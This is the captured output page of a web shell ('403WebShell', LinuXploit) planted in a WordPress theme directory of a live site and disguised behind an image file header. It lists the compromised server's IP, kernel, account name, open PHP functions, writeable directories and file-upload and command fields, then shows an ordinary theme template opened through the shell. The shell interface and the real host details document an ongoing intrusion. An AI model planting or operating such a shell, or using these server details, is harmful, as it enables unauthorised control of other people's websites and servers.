���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.112  /  Your IP : 216.73.216.210
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/digital4leads.com/public_html/wp-content/themes/ecommercely/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/digital4leads.com/public_html/wp-content/themes/ecommercely/single.php
<?php
/**
 * The template for displaying all single posts
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
 *
 * @package ecommercely
 */

get_header();
?>


	<!-- Featured img -->
	<?php if ( has_post_thumbnail() ) : ?>
</div>
</div>
<div class="post-thumbnail">
	<?php the_post_thumbnail('full'); ?>
</div>
<div id="page" class="site grid-container">
	<div id="content" class="site-content grid-x grid-padding-x">
	<?php endif; ?>
	<!-- / Featured img -->




<div id="primary" class="content-area large-8 medium-8 small-12 cell">
	<main id="main" class="site-main">

		<?php
		while ( have_posts() ) :
			the_post();

		get_template_part( 'template-parts/content', get_post_type() );



			// Related posts start
		$categories = get_the_category($post->ID); 
		if ($categories) { $category_ids = array(); 
			foreach($categories as $individual_category) 
				$category_ids[] = $individual_category->term_id; 
			$args=array( 'category__in' => $category_ids, 
				'post__not_in' => array($post->ID), 
				'ignore_sticky_posts' => 1, 
				'showposts'=> 3,
				'orderby' => 'rand' );
			$my_query = new wp_query( $args ); if( $my_query->have_posts() ) {
				echo '<div class="related-posts blog"><div class="postauthor-top"><h3>'.esc_html__('Related Posts', 'ecommercely').'</h3></div><main>';
				$pexcerpt=1; $j = 0; $counter = 0;  
				while( $my_query->have_posts() ) { 
					$my_query->the_post();?>
					<article class="post excerpt  <?php echo (++$j % 3== 0) ? 'last' : ''; ?>">
						<?php if ( has_post_thumbnail() ) : ?>
						<a href="<?php esc_url(the_permalink()); ?>">
							<?php the_post_thumbnail('large'); ?>
						</a>
					<?php endif; ?>
					<div class="article-contents">
						<header class="entry-header">
							<?php 
							if ( 'post' === get_post_type() ) :
								?>
							<?php
							the_title( '<h4 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h4>' );
							?>
						<?php endif; ?>
<div class="entry-meta">
								<?php echo esc_html(get_the_date('F j, Y')); ?>
							</div>
					</div>
				</article><!--.post.excerpt-->
				<?php $pexcerpt++;?>
				<?php } echo '</div></main>'; }} wp_reset_postdata();
						// Related posts end

						// If comments are open or we have at least one comment, load up the comment template.
				if ( comments_open() || get_comments_number() ) :
					comments_template();
				endif;

						endwhile; // End of the loop.
						?>

					</main><!-- #main -->

					<!-- Start Related Posts -->

					<!-- End Related Posts -->

				</div><!-- #primary -->

				<?php
				get_sidebar();
				get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit